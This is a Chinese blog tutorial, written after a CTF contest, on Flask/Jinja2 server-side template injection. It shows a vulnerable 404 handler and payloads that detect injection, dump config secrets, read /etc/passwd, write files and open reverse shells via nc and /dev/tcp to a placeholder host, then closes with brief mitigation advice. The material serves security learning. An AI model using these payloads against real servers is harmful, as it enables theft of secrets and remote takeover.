在网鼎杯第二场预赛中,就考了这个知识,在模板注入了基础上加了点正则绕过。今天特此学习一下模板注入的姿势。
参考文章
https://portswigger.net/blog/server-side-template-injection
http://klaus.link/2017/Flask_SSTI/
http://uuzdaisuki.com/2018/05/28/SSTI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
实验环境 : linux python2.7
(默认都是2.7,如果是3的版本我会标注出来)

0x00 SSTI 服务器模板注入概念

服务端模板注入是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

通常测试模块类型的方式如下图:
Python Flask/Jinja  模板注入-ShaoBaoBaoEr's Blog

0x01 Flasck/Jinja 模板注入

环境搭建

截取关键部分代码如下所示:

app.config['SECRET_KEY'] = "flag{s5Ti_1s_s0_f5n}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html。并且没有对request.url 进行过滤。首先,XSS是可以存在的
Python Flask/Jinja  模板注入-ShaoBaoBaoEr's Blog

随后,由于我们的输入可控,所以我们可以注入一些恶意的代码段,关于flask的相关知识在这里不展开

检测 能否注入

http://192.168.79.137:5000/%7B%7B%226%22*6%7D%7D
# {{'6'*6}}

Oops! That page doesn't exist.
http://192.168.79.137:5000/666666

如你所见,由于这段代码糟糕的写法,导致了我们输入的内容被解析为代码,从而执行成了 '6'*6

导出所有config变量

而之后,我们注入一个更加有意思的变量
Python Flask/Jinja  模板注入-ShaoBaoBaoEr's Blog

config可以理解为flask的环境变量,通过config,我们甚至能够找到secure_key。

文件读写

能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell的内容,可以看看我之前写的文章

通过沙箱逃逸的知识,我们可以完成任意文件的读写,如下所示

# 读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('i am shaobao') }} # evil config
Python Flask/Jinja  模板注入-ShaoBaoBaoEr's Blog

反弹shell

# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

最终的截图如下所示:
Python Flask/Jinja  模板注入-ShaoBaoBaoEr's Blog

0x02 防范与总结

一般情况下,无论是Flask还是Django,只有将用户可控区域传入模板渲染函数时,或者说只有当开发者将模板写到视图文件中,才可触发。而一般来说这种代码写法非常不提倡

return render_template_string()

开发者都会将模板内容写入固定文件夹,与视图代码分离,如下所示

# Flask
@app.route('/')
def safe():
    return render_template('home.html', url=request.args.get('p'))
# Django
def home(request):
    return render(request, 'home.html', {#DATA#})

class MyView(TemplateView):
    template_name = 'home.html'
    def get_context_data():
        #DATA#